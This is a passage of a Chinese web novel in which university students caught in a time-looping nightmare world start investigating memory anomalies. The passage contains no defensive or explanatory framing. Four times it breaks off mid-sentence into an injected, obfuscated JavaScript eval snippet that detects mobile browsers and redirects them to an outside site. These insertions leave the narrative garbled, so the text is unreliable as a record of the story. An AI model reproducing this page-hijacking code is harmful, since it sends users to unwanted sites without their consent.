钟楼有四十多米高,这一眼叫他整个人都开始眩晕。 ……真的能这样吗? ……太神奇了吧? ……世界上真有这样的事吗? ……调查表明摔死的痛苦指数非常高…… ……骨骼、五脏六腑和大脑,都会被撞击得粉碎……断裂的骨头会戳进脾脏或者肺……人不会在那瞬间死去,可能还要遭受几秒到几分钟的折磨…… ——你在干什么啊孙永!他们都跳下去了!你亲眼看见的!还可能有假不成? 他把心一横,又往上爬,可他忽然发现,自己的手和一只脚还抓在栏杆上,但整个身体都沉沉地坠在下面,抖得不成样子,不能前进一分一毫。 又维持着那个诡异的姿势僵持片刻。最终,他放开了栏杆,整个人往后一蹲,蜷缩在钟楼的墙角。 他做不到。 === 蔚迟睁开眼睛,视线里是一片冷青色的天花板。 他还躺在宿舍的床上,晨光微熹。 他下意识从枕头下面摸出手机,一看,六点三十八。 对面床一阵窸窸窣窣的动静,然后是人噔噔噔的下床声,然后是人噔噔噔的上床声,随即,蔚迟感到一片阴影笼罩在了身上。 在青白色的晨光里,纪惊蛰的脸帅出了一种别样的冷调,人却没有半分脸的矜贵冷感,眼睛湿润着,脸气鼓鼓的,像一条名贵的丧家之犬。 他咬牙切齿地骂道:“蔚迟!你混蛋!” 蔚迟揉了一把他的狗头:“你不混蛋?” 之后两人经历了长久的对视,说不上来是在对峙还是在交流感情,然后纪惊蛰忽然抱住了蔚迟的腰,两个大拇指刚好按在他的痒痒肉上,他条件反射性地往上一弹,纪惊蛰又把脸埋进了他的脖子。 蔚迟推了推纪惊蛰的鬓角,没推动,被气笑了:“不许哭。” 纪惊蛰又说:“你混蛋。” 蔚迟又揉了揉他的狗头,没说话。 过了一会儿,纪惊蛰又骂了一声:“混蛋。” 蔚迟:“你是不是把鼻涕擦我衣服上了?” 这时孙永起来了,他跟蔚迟是脚对脚睡,一坐起来就正对着蔚迟的床,见到两人的体/位,吓得后脑勺撞墙:“卧槽!你们在干什么?” 纪惊蛰:“你管我们在干什么?” 蔚迟却敏锐地发现不对——孙永对他俩的关系已经是调侃为多了,怎么会这么惊恐? 他问孙永:“你不记得了?” “我记得什么?”孙永整个人都不好了,“你俩不会就在这张床上搞/基吧?” 蔚迟:“食堂塌了的事,你不记得了?” 孙永:“什么食堂?哪个塌了?” 蔚迟:“跳楼呢?” “跳楼?!”孙永夸张地看了看手机,“明天才是愚人节,你记错时间了吧蔚迟?” 纪惊蛰把脸从蔚迟身上抬起来,回头看孙永,像在看个什么珍稀物种:“你什么情况?饭喂到嘴边了不晓得吃?” 那一边高求索也揉着脑袋坐起来了。 纪惊蛰顺势转头去问高求索:“你吃了吗?” 高求索充耳不闻,自顾自地叫道:“啊!原来是梦!” “不是梦。”纪惊蛰说,“钟楼,灯光,凌晨一点吧?不是梦。” 高求索转过脸望向纪惊蛰,眼神很呆滞:“你怎么会知道我的梦?” 蔚迟:“不是梦。” 孙永:“你们在打什么哑谜?” 纪惊蛰还那么看着孙永,过了一会儿,啧啧啧道:“没看出来啊,人高马大一小伙,啧啧啧。” 孙永被他看得发毛,以声壮胆:“所以果然是愚人节节目吧?你们自己看看,今天才31号!” 高求索也拿出手机:“卧槽!我们回到那天早上了?” 蔚迟把纪惊蛰蹬开,自己下床洗漱。 高求索这时说:“哇!如果这几天发生的事都在这一瞬间的话……那如果把这个时间利用起来,不是一天可以啃掉半个图书馆的书?”末了又自顾自点头,“嗯,如果每一秒都可以利用起来,那一个人的生命几乎可以说是无限延长……那岂不是可以……成为世界上最渊博的人!” 蔚迟和纪惊蛰都齐刷刷看向他,感觉十分吊诡。 孙永还在一边嘟囔:“还演?还演?演技不错啊!” 蔚迟照常去工作室完成了实验,尽量复刻自己上一次——也就是在那个恐怖世界里——的操作,48小时后验结果,完成后接到周迎春的电话,跟他确认看桃花的安排。 他说照计划进行,下午他和纪惊蛰买了东西后回家去。 纪惊蛰上午还是去酿酒学教学楼办理手续去了,中午过来找蔚迟吃饭,两人掐着点去了北区食堂,想看看食堂的情况,结果遇到了杨可。 没记错的话,杨可还是跟那天一样的开口方式:“哟,蔚迟!” 蔚迟和纪惊蛰循声望去,杨可还是那天的杨可,鹅黄T恤、古驰包、烟栗色系中长发,齐臀热裤,一双长腿又白又直,站在那里可以称得上一句亭亭玉立。 蔚迟一听杨可的声音都有点瘆得慌,硬着头皮点点头:“杨可。” 杨可看了看他身后的纪惊蛰,朝他挤了挤眼睛:“你朋友真帅。” 蔚迟客气道:“谢谢。” 杨可又留下一句:“回头一起玩啊。”就走了,走之前依然朝纪惊蛰抛了个媚眼。 蔚迟看了纪惊蛰一眼,纪惊蛰举双手投降:“这回我可没看他啊!” 现在要进这个食堂还真需要点勇气。 蔚迟站在门边看了看,刚好看到正在买饭的刘知远一行人,顾佳佳不在。蔚迟想了想,转身朝校外走。 纪惊蛰跟上:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350177|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿去啊?” 蔚迟:“吃火锅去。” 下午两人去家乐福采购了一大堆郊游要用的东西,开一辆车回家。 周迎春做好了晚饭等他们。 纪惊蛰很乖巧地叫阿姨好,但蔚迟注意到在某些时刻周迎春看纪惊蛰的眼神不那么自然——这是当然的,不是每个人都能做纪惊蛰这样分开五年还能像什么都没发生过一样的奇葩。 吃过晚饭,纪惊蛰缠着蔚迟玩了一会儿游戏,在复活的间隙问了蔚迟三遍需不需要陪/睡,被蔚迟一脚踹回了隔壁。 之后纪惊蛰又开始微信轰炸,蔚迟为求个清净,丧权辱国地回复了他的【晚安亲亲】表情包:快睡吧。 纪惊蛰:没有亲亲睡不着 蔚迟:【黑猫亲亲】 纪惊蛰:明天见宝贝 蔚迟:明天见 等纪惊蛰终于消停了,蔚迟打开笔记本,建了个加密盘,把跟那个诡异世界有关的情况、思路都记录了下来,然后开始查资料。 没查到什么头绪,周迎春进来给他送水果。周迎春工作很忙,经常值班,但只要在家就会给他切一个水果拼盘,或者榨果汁。 蔚迟早已习惯母亲的照顾,闭着眼睛都能摸到他妈放的杯子。 他端起果汁来喝了一口,咂了咂嘴,还又新输入了一串关键词展开了新搜索。 然后他敲打键盘的手忽然停下了。 他感到一阵彻骨的寒意从尾椎一直爬到头皮。 他看向那杯果汁。 那是一杯芒果汁。 蔚迟从小的欲/求就比较寡淡,没有什么特别喜欢的东西,也没有什么特别不喜欢的。对食物也没什么好恶,不忌口,也不馋,芒果对他来说只是众多水果中平平无奇的一种罢了。 但纪惊蛰喜欢,作为芒果重度爱好者,只要到了出芒果的季节,他没有一天不闹着要吃。后来他父母出事,他再没人可闹,也没再闹过。 就是从那时起,蔚迟家里也常备芒果,只要纪惊蛰来,周迎春就给两个孩子榨芒果汁,周迎春不在,就蔚迟榨。 到后来,蔚迟对芒果也有了些爱屋及乌的喜欢。 再后来,就是纪惊蛰的不告而别。蔚迟在连发了一个月的疯后,在一个失眠的深夜爬起来把家里所有的芒果都砸了——为纪惊蛰囤积的,从青变了黄,还有几个都烂掉了。 周迎春听到动静,以为家里进了贼,拿着晾衣杆战战兢兢来到厨房,只看到蔚迟蹲在一地的芒果尸骸中,蜷缩成小小的一团,没有哭出声音。 从那之后蔚迟不再吃芒果,周迎春也没再买过。 周迎春知道他不再喝芒果汁了。 ……那这个不知道的人是谁? 他用尽全力,装作不经意地问:“妈,怎么做芒果汁了?” 周迎春正坐在客厅里看书,蔚迟的角度可以看到她正在翻书的手,他看到那只手微微一顿,然后听到周迎春的声音,也是若无其事的样子:“怎么?你不是天天喝吗?” “我不是……”蔚迟感觉到一滴冷汗缓缓滑过自己的鬓角,“五年不喝了吗?” 客厅里一阵死寂般的沉默。 过了好久,在蔚迟的感知里似乎有一个世纪,周迎春再次开口:“这不是小纪回来了嘛。” 蔚迟狂跳的心脏最终落回了胸腔,但还是带着一种空洞的失重感:“嗯。也是。” 36. 三青大学17 第二天一早,因为周迎春化妆稍微迟了几分钟,蔚迟推家门出去,就看到纪惊蛰坐在门旁边的台阶上,人高马大一个人,坐在台阶上却还显得小小的,给他的起床气都整没了。他没忍住,顺手就撸了一把狗勾头。 纪惊蛰抬起脸来看他,眼睛笑得弯弯的,真的像一只大狗勾:“早上好。” 蔚迟也笑了一下:“早上好。” 纪惊蛰又说:“我昨晚梦到你了。” 真是蹬鼻子上脸,蔚迟把那颗毛茸茸的狗头拨开。 周迎春随后出来,她今天简直可以说是盛装打扮——烈焰大红裙,加烈焰大红唇,整个人鲜明而靓丽,站在春光里一下子仿佛回到了二三十岁。 “哟,周女士。”蔚迟接过周迎春的包,“漂亮过头了啊。这是要去约会呐?” 周迎春笑嘻嘻挽起他的手臂,迟疑了一下,也挽起纪惊蛰的:“跟我俩儿子去约会!” 驱车三小时到达目的地,四月的桃花正开到绚烂盛极时,铺满了山野。因为是工作日,游客不算很多,三个人很容易就找到了一处不错的野营地点,铺开桌布,开始了休闲一日。 中午蔚迟和纪惊蛰躺在野餐布上午睡,蔚迟心里有事,迷迷糊糊也不知睡着没有,一睁开眼睛正对着周迎春黑洞洞的手机摄像头——现在的手机设计越来越离谱,摄像头越来越多,占位越来越大,乍一看密密麻麻一片,跟蜘蛛眼睛似的。 他的心抖了一下,坐起来,问:“在拍什么?” 周迎春把手机拿给他看:“你看你还好像小猪猪哦。” 照片上是他和纪惊蛰的睡颜,当然以他为主,纪惊蛰只占了一点边角,但能看出来睡得四仰八叉,而他侧躺在旁边,微微蜷缩,也不知道是不是心理作用,他觉得自己的眉眼怎么看怎么阴郁,像笼罩着一层霾,不知道周迎春从哪里看出来像“小猪猪”的。 周迎春说:“给妈妈拍几张。” 蔚迟顺势举起周迎春的手机,周迎春把手机抽走,说:“用你的拍。” 蔚迟:“为什么?” 周迎春:“你的拍出来好看。” “胡说八道,我手机比你的差远了好吧?”蔚迟嘟嘟囔囔,还是爬起来用自己的手机给周迎春照。 拍了几张,周迎春果然嫌弃蔚迟给她拍得太差,把手机抢走自己自拍去了。 风和日暖,粉白色的花瓣散落在红白格的野餐布上,微微摇晃。身旁躺着纪惊蛰,轻声打着鼾,不远处,母亲在山坡上顾镜自拍,娇俏如同少女。蔚迟坐在那里,恍惚间生出了一种岁月静好的感觉,很希望永远这样活下去。 这时纪惊蛰的手机铃忽然响了,闹了好一会儿,他还捂住耳朵想翻身继续睡,被蔚迟拍拍肚子给拍起来,没好气地接起电话:“喂,干嘛?” “和谁?” “不去。” “和迟……蔚迟在外面呢!不去!” “那拜拜。” 等他挂了电话,蔚迟问:“谁啊?” “孙永。约我打牌。”纪惊蛰说,“和邓欢。” 刚刚的那股宁静倏然就消散了,蔚迟和纪惊蛰对视,都在对方眼中看到凝重和思虑。 从市二院那个世界出来以后,蔚迟没有再去过医院,因而不知道之后的几天是怎样的。但是这一次,一切都在昭示着,现实会重复那个世界的发展。 ——邓欢正是在四月一号这一天找孙永去天台打牌的。 蔚迟正想得出神,忽然感到肩膀被人一按,是周迎春走回来了。 周迎春把手机递给纪惊蛰:“小纪,给我们娘俩拍张照吧。” 周迎春在山坡上自拍的时候看到一棵好大的桃树,三个人走过去还花了不少时间。 母子俩往树下一站,恰好迎来一阵风,满树花海簌簌而落,像下起一场粉雪。 镜头就定格在这一刻,周迎春抱着蔚迟的腰,蔚迟揽着母亲的肩膀,两颗头都向对方倾斜,两张脸都笑得几乎变了形。 晚上又去吃了烤鱼,到家已经快十点,连纪惊蛰都没有再闹腾,乖乖回隔壁屋睡觉去了。 蔚迟先去洗澡,洗完出来看到周迎春背对着他在沙发上看东西,也不知道在看什么,看得入了迷,连他走近了都没发觉。 他能看到手机屏幕,发现是一张他和周迎春两三年前拍的合照,没什么特别的,他已经没有印象了。 他故意弄出一点响声,用毛巾狂擦头发,遮挡住了脸,装作什么都没看到,说:“妈,你去洗吧。” 周迎春如同受惊的兔子一样抖动了一下,回过头来看了他一眼,然后慌慌张张站起身,拿起东西去洗澡了。 但那一眼,还是让蔚迟看到了她发红的眼眶。 她刚刚在哭? 周迎春出来的时候,蔚迟正在翻箱倒柜地找东西,听到她开门的声音,头也不抬地问道:“妈,我八岁得的奥数冠军证书在哪?” 周迎春的头发还湿答答地滴着水,闻言奇怪得很:“找那东西干啥?” 蔚迟:“学校要收个资料,要填过往荣誉。” 周迎春:“等会儿啊,等我先吹个头。” 周迎春吹头的时候还在说话,但吹风机声音太大,蔚迟一个字没听清。 等她吹完,蔚迟才问:“你刚刚在跟我说什么?” 周迎春:“我说周末你去跟周莹吃个饭。” 蔚迟:“吃什么饭?” “人家姑娘问你问了多少次了?你跟人家吃个饭怎么了?”周迎春说,“多好一姑娘,帮了妈妈不少忙……” 蔚迟转念一想,正好问问周莹市二院后几天的情况,顺便跟人说清楚自己近期没有进入感情生活的想法,别耽误了人家,就答应了:“行。” 过了十多分钟,周迎春从阳台的书柜里把奥数冠军证书给他找了出来,丢到他面前,还不忘奚落他:“你可真行,八岁的荣誉都要写上。” 蔚迟抱了她一下,撒娇:“谢谢妈妈!” “猪崽子。”周迎春拍拍他的头,“放开啊,我要睡觉去了,明天还得值班。” 蔚迟看着周迎春走出去,给他带上了门,又转头去看桌上的证书,觉得自己简直是个神经病。 连这玩意儿都找得出来,除了他妈还能是谁?真是想太多。 大概周迎春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350178|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的觉得既然纪惊蛰回来了,那他也就好了吧,反正他本来也不是生理性地讨厌吃芒果。 她们那一代的人是这样的,对自己的心灵世界缺乏关照,觉得既然症结找到了,那么所有伤痕都可以弥合。 但那些伤痕真的可以像是没有存在过一样吗? 第二天一早,蔚迟和纪惊蛰一起回学校,顺便把周迎春送到了医院。 蔚迟回到工作室,往实验台前一坐,等着看培养皿的反应结果。 纪惊蛰先去教务办了点酿酒学那边的事,给蔚迟带了午饭过来,现在一点多,正坐在他旁边剥芒果吃。 蔚迟现在也说不清自己对芒果是个什么心态,只得眼不见心不烦,不看。 可纪惊蛰还偏要把芒果举到他面前来,再近三厘米就要杵到他鼻子上,问他:“迟迟你吃不?” 蔚迟看着眼前黄澄澄的水果,闻着它馥郁的甜香,下意识想避开,但他又不喜欢自己做超于理性之外的事情——毕竟人家芒果本身根本没有惹到他——最后还是低下头,就着纪惊蛰的手咬了一口。 纪惊蛰开心得眼睛都找不到了:“好吃吧?” 这时蔚迟远在教室那一头的小师弟杜渐行凑过来打招呼:“师兄早。” 蔚迟道:“早。” 在那个世界里,这个时间点他正在和纪惊蛰生气,杜渐行也过来问了情况。可现在他和纪惊蛰并没有吵架,杜渐行也过来了。 “还早呢?”纪惊蛰接嘴,“这都过了晌午了。” 纪惊蛰的态度显而易见的轻慢,杜渐行睁着他圆溜溜湿漉漉的眼睛,弱弱地问蔚迟:“师兄啊……这是你谁啊?” 蔚迟有心试探,说出了那句在那个世界说过的话,想看接下来的对话怎么进行下去:“不认识。” “怎么就又不认识了呢?”纪惊蛰一脸惊恐,抱住他的胳膊不撒手,“哥哥,哥哥……我又哪里做错了你告诉我啦——” 杜渐行站在旁边一副手脚不知道放哪里的样子:“那个……” 这时,教室另一头传来一声很沉闷的“pong——”。 有人叫道:“杜渐行你试管炸啦——” 杜渐行往起一蹦:“卧槽咋回事儿?”风风火火冲回去,之后的对话隐隐约约还能传来一点:“你通风量调的多少?”“%¥#”“温度呢?”“……%¥”“卧槽你居然盖都不拔——” 杜渐行一声哀嚎:“啊苍天啊——我怎么会没有拔盖——带我走吧!” 工作室其他人都被逗笑了。 纪惊蛰还在耍宝,一个劲儿摇他胳膊:“哥哥哥哥你提示一下人家啦人家真的笨啦……” 蔚迟简直想打他,正要动手,培养皿忽然发生了变化。 蔚迟:“嘘。” 纪惊蛰立马闭嘴。 实验体变成了淡紫色。 就是对生物学一窍不通的纪惊蛰都能看出不对:“诶这和上次的颜色不一样诶……” 蔚迟仔细确认培养皿的各项数值,反复确认了几遍。 并没有成功。 这是一个反应结果完全随机的实验,这一次,没有成功。 37. 三青大学18 没有成功。 这意味着什么? 蔚迟大脑正在飞速运转,一旁纪惊蛰忽然起身,朝门外走去。 他在那一瞬间变化很大,明明上一秒还在耍宝卖乖,站起身的那一刻却如罗刹上身,浑身上下都笼罩在了一股煞气中。 蔚迟下意识伸手拉住他:“你要干什么?” 纪惊蛰将他的手轻轻拂开,很温和地说:“你等等我。”然后走出去了。 不到三秒,门外传来一阵激烈的打斗声,还有惨叫。 蔚迟立即冲出去。 只见七八米开外,曹笙鼻青脸肿地躺在地上,被纪惊蛰居高临下地拎着领子。 纪惊蛰还在笑:“不记得了?挺好。” 曹笙一只眼睛睁不开,嘴角也高高肿起,顶着这张惨不忍睹的脸,朝围观人群透出一种显而易见的求救眼神,见人无动于衷,只能色厉内茬地独自面对纪惊蛰:“你到底是谁啊?” 话音刚落又挨了纪惊蛰几拳,纪惊蛰对越来越多的围观群众视若无睹,飞扬跋扈地说:“打你就打你,管我是谁?” 人群中居然爆发出一阵叫好声。 蔚迟看纪惊蛰差不多打舒服了,钻出人群拉着纪惊蛰的手腕把人给拖走了。 纪惊蛰边走边回头,一字一顿跟曹笙说:“你记着,以后我见你一次打你一次。” 曹笙捂着脸坐起来:“疯子吧你?” 人群散去的速度比较慢,期间发生了一系列相似的对话: “什么情况?为什么打架?” “被打的那个是谁?” “曹笙啊。” “他就是曹笙?” “怪不得。” “活该。” “那个帅哥?不认识诶……” “好正。” “女朋友被抢了?” “怎么可能啊?这瞎了眼都会选吧?” 曹笙在人们的窃窃私语中爬起来,绷直脊背——他那里被纪惊蛰踢了,直起来有点疼,但还是绷直了——理理衣领,抬起下巴,离开。他早已习惯了这种窃窃私语。 那么多人围观,工作室是不想回了,蔚迟正好想去找一下高求索,就拉着纪惊蛰回了宿舍。 路上纪惊蛰可怜兮兮问他:“迟迟,你是不是生气了?” 蔚迟:“我生什么气?” 纪惊蛰:“他都不记得了,我还打他。” “他这种人,就该不得好死。”蔚迟瞅他一眼,“笑个屁笑。” 纪惊蛰忽然从后面抱住他:“迟迟,我好喜欢你。” 蔚迟在他的狗头上撸了一把,又推开:“起开。” 回到宿舍,结果高求索不在。倒是孙永和邓欢在,两个人蹲在阳台上抽烟,蔚迟他们进去的时候邓欢刚好抽完进来。 “嗨。”邓欢跟蔚迟打了个招呼,又去看纪惊蛰,“纪惊蛰是吧?幸会幸会。孙永跟我们说你挺好,昨天约你打牌你又没空。” 纪惊蛰跟他碰了碰拳头:“幸会啊。” 蔚迟一听觉得不太对,问邓欢:“你不认识他?” 邓欢闻言一挑眉,有点揶揄地看着他:“怎么?虽然你男……你朋友确实很帅,但你也要允许这个世界上还有人不认识他吧?” “不是……”蔚迟一时间有点混乱,“你不记得你们……” 他想问你不记得你们打过牌?但说到这里自己也意识到了不对——这里面有个悖论: 如果说在那个世界中死过的人不记得那个世界的事情,那邓欢显然是不会记得自己怎么死的。而白天的他如果记得和纪惊蛰打牌的话,他记得的应该是在那个世界中昨天发生的事情——那天他们一群人曾在天台打牌,还吃了杨可的方便面——可在现实中的昨天,纪惊蛰跟蔚迟看桃花去了,并没有去打牌,所以邓欢并不认识纪惊蛰。 蔚迟会有这种他一定认得纪惊蛰的感觉……是源于另一件事——许白诗她们就记得。 从市二院那个世界出来的第二天,蔚迟陪导师去许白诗她们高中做讲座,就遇到了胡天奇、许白诗和刘琴,而他们都记得要他微信没要着的事,还重新要了一遍。 可这中间的问题,他之前怎么会没有发现呢? 在市二院的那个世界里,蔚迟在屠杀发生的第二天白天遇到来取核酸报告的三人……而在现实里,屠杀发生的第二天他们三个根本没去医院,而是与蔚迟在学校相遇了。 ……那他们记得的那个没有要到微信的事是什么时候发生的呢? “蔚迟?蔚迟?” 蔚迟反应过来有人在叫自己,回过神来,邓欢道:“怎么突然神游?你要成仙啊?” 蔚迟勉强笑了笑:“不好意思。” “这有啥不好意思的?”邓欢拍拍他的肩膀,又拍了拍纪惊蛰的,“那我先走了啊,下回有空一起玩。” 等邓欢走了,纪惊蛰问:“蔚迟,怎么了?” “出了点问题……”蔚迟按了按太阳穴,“你别闹,让我理一理。” 理完的结果是——他得尽快见到周莹。 他给周迎春打电话:“妈,周莹今天上班吗?” 周迎春:“她在啊。” 蔚迟:“几点下班?” “她好像值了夜班……”电话那头变得嘈杂了一点,大概是周迎春走出办公室了,蔚迟听到她跟周莹对了两句话,跟他说,“三点。” 蔚迟:“你跟她讲,下班别走,我去找她。” 周迎春又跟周莹说了几句,嘈杂的声音消失,大概周迎春又回到了办公室:“哟,这咋忽然积极起来了?察觉到人家姑娘的好啦?我看这姑娘好,五百年前跟我还是一家……” “都哪儿跟哪儿?你少跟人家胡说。”蔚迟说,“我有事情要问她。” 完了蔚迟把电话一揣,提起包就要走,纪惊蛰诶诶诶地问他去哪儿,他没来由的有点心虚,虎起脸凶纪惊蛰:“关你什么事?” 纪惊蛰被噎了一下,一时间没控制住表情,活像一只震惊而委屈的大狗勾。 蔚迟被那双眼睛一看就没法,简直怀疑自己在不知不觉间遭受了pua。转念一想我是去干正事的我心虚什么?不对我就算不是去干正事的又关他纪惊蛰什么事了?遂一狠心,扭头走人了。 三点过十五分,蔚迟和周莹面对面坐在了医院旁边的咖啡厅里。 蔚迟:“不好意思,你刚值了夜班现在叫你出来。” 周莹细声细气的:“没有关系。” 蔚迟开门见山:“我来找你主要是想问你,那天早上我七点多来找我妈,好像落了个东西在医院。那天你也值班,你看到没有?” 周莹想了一会儿,道:“你哪天七点来过?不好意思,我不记得了。” 蔚迟:“就上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之后的半个小时,蔚迟愣是一句话没插上。纪惊蛰从天侃到地,从鸟侃到鱼,给周莹逗得呵呵直笑,后来走的时候脚步都有点飘。 等纪惊蛰送完周莹,回来坐下,蔚迟终于能说上一句话:“纪惊蛰,你有病啊?” 哪想纪惊蛰这回没被唬住,反而声势惊人、理直气壮:“你背着我跟别人相亲,你还骂我!” 蔚迟:“我没有相亲!” 纪惊蛰:“孤男寡女,不是相亲是什么?” 蔚迟:“那我相亲关你什么事了?” “……”纪惊蛰又被噎住,炸起的毛肉眼可见地塌掉,眼神游移了片刻后,他忽然又挺起胸膛,“那我下次也要和漂亮姐姐吃饭!” 蔚迟一声冷笑:“吃去呗,谁管你?” 正在这时,另一个人的声音加入进来:“哟小纪,聊得正好呐?” 蔚迟抬头一看,一个穿着青色中山装、戴一副圆框眼镜、须发全白的老人站在了桌子对面。 “老师。”纪惊蛰站起来去给老者拉板凳,请他入座,同时给蔚迟介绍道,“这是我们系主任——就我顶头上司——白越光白教授。” 白教授笑容可掬:“你就是小迟啊,久仰。” 38. 三青大学19 老头是个很有趣的老头,又幽默又儒雅,落座以后跟纪惊蛰一唱一和,一会儿说昨天的太阳,一会儿说天上的仙女。 蔚迟可算是知道纪惊蛰那些鬼话都跟谁学的了。 “白教授。”蔚迟插空说了一句话,“您跟纪惊蛰认识多久了?” 白越光想了想,又看向纪惊蛰,试探着说:“……三个月?” 这怎么还是个问句? 蔚迟便晓得他俩又在编瞎话,这个白越光大概跟纪惊蛰消失的五年有关系。 他注意到白越光带了个很大的包,露出了几个文件袋的边角,大概是有很多资料,但白越光丝毫没有拿出来的意思,要么就是赶时间过来没处放,要么就是顾忌他这个外人在场。 他便又觉得无趣,起身要走:“那你们俩聊,我就先走了。” 纪惊蛰抓住他的手腕把他拽回座位:“你走哪儿去?” 这样蔚迟也不好走了,抱歉地看了白越光一眼:“我怕你们师徒两个有什么公务要说。” 纪惊蛰:“有公务说说呗,你走了算是怎么回事儿?” 白越光:“哪有什么公务?我就是来跟小纪聊聊天。” 哪有风尘仆仆背那么大个包过来,就为聊点仙女的? 但白越光都这么说了,蔚迟只能坐好:“行。” 这回他俩便没再天花乱坠地海侃了,白越光推推眼镜,睿智而慈祥的目光转向蔚迟:“小迟啊,哪年生人?” 蔚迟:“比纪惊蛰早一年。” 纪惊蛰补充:“他隆冬,我惊蛰,我俩连着的。” 白越光:“哦……属牛的。好,好。”顿了顿,又问,“哪个星座的?” 蔚迟一挑眉,确定了这老头还是在胡扯,道:“不清楚,这方面我了解不多。” 纪惊蛰举手:“他天蝎的。” “哦,哦。”白越光思考了一会儿,跟纪惊蛰说,“那跟你的双鱼很配啊?” 纪惊蛰:“绝配。” 白越光:“具体怎么个配法?” 纪惊蛰:“他喜欢虐我,我喜欢被他虐。” 蔚迟:“……” 白越光哈哈大笑:“我跟我爱人也是天蝎配双鱼,你别说,还挺准!” 蔚迟在回学校的地铁上给胡天奇发了消息:咱们在医院见的那面是周几? 同时他看到一条好友申请,是顾佳佳。 通过后顾佳佳立即给他发来一条链接,是某瓣的一条帖子,来自一个灵异小组。蔚迟点进去,看到完整的标题:急!只有我觉得世界变得不大对劲了吗? 一个名叫“森林狼”的楼主描述自己全家都是医疗口的人,不知道为什么,最近总觉得身边的同事、朋友、甚至是父母都变得有些奇怪,怀疑自己被什么东西上身了,或者被卷入了一场真人秀。 这时胡天奇的微信进来了:我们在医院见过面吗? 蔚迟:在学校你加我微信的时候,刘琴提到“上次”没加上,我想问问“上次”是哪次? 胡天奇:您这么一问 胡天奇:我记不太清了 胡天奇:我的感觉里是在医院大厅…… 胡天奇:天顶很高 胡天奇:我从大门走进去 胡天奇:许白诗和刘琴在我旁边…… 胡天奇:然后我就看到您了 胡天奇:我记不清了 胡天奇:您记得吗? 纪惊蛰在旁边问:“怎么了?眉头皱得跟什么似的。” 蔚迟一边回了胡天奇一句谢谢,一边把事情跟纪惊蛰说了。 “他们两组人是有什么不一样?导致记忆出现了偏差?”蔚迟边想边说,“还是说……也许每个人都会出现这种‘既视感’,只是时间不同,之后会慢慢想起来?” 纪惊蛰:“我倒是经常会有‘啊这个场景我见过啊’的既视感。” 两个人又讨论了几句,依然没什么头绪。 等蔚迟再切回某瓣,刷新一下,那条帖子显示不存在。 他又凭着记忆去搜楼主的ID,显示用户已注销。 这时顾佳佳发来消息:咱们见一面吧? 蔚迟:好。 蔚迟把高求索也叫了出来,几个人约在学校外面的水吧。 蔚迟他们到的时候高求索已经到了,捧着一本巨厚的书在那儿背,蔚迟不小心瞥到书脊上的书名《恋爱向导》,登时觉得应该自戳双目。 纪惊蛰显然也看到了,笑得相当夸张:“哟,高学霸情窦初开啦?问我呀!干什么信那些江湖骗子?” 高求索:“你俩属于一个愿打一个愿挨,不具有普适性,参考价值不大。” “嗐。”纪惊蛰装模作样叹一声,其实脸都快笑烂了,“不愧是学霸,看问题真透彻。” 蔚迟话都不想说。 顾佳佳和彭慧稍微来晚了一点,在等她们的时候蔚迟和纪惊蛰已经听高求索说了他们跳下去之后发生的事情,顾佳佳和彭慧是紧接着跳的,非常勇敢。 顾佳佳是带着一个笔记本和一叠资料来的,开门见山:“既然蔚迟你之前在市二院就遇到过这种事情,而我们又再经历了一次,以防万一,我认为我们应该重新梳理一下信息和情报。” 蔚迟很赞同:“有道理。” 几个人的手机同时震动了一下,彭慧晃晃自己的手机,道:“我建了个群。” 群名非常朴实无华,就叫“调查小组”。 顾佳佳道:“我把现在收集到的资料都发进去,大家要是有什么想法,也可以说。” 蔚迟在顾佳佳再次发送的一堆链接里找到他看过的那个,点开,果然是不存在:“你在地铁上发给我的帖子被删了,用户也注销了。” “真的?”顾佳佳很惊讶,“好奇怪……那么隐蔽的小组,我看的时候浏览量只有两位数。” 高求索:“有其他人在关注这件事?” 不管这样,蔚迟都有一种强烈的预感——事情还没有结束。 那天他们在水吧讨论到晚上八点,饭都没吃。之后,这个“调查小组群”也非常活跃,各种不知道哪里倒腾来的小链接一天几十条,有东方的有西方的,有佛教道教有基督天主,有哲学有科幻也有科技博主…… 而所有人严阵以待的“下一次”却并没有发生。 一个月后,顾佳佳在群里约了一次见面。 还是上次那家水吧。 还是蔚迟、纪惊蛰和高求索先到一点。 之后,顾佳佳和彭慧一起来了,两个人都化了淡妆,但顾佳佳的脸色看起来仍然不太好。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 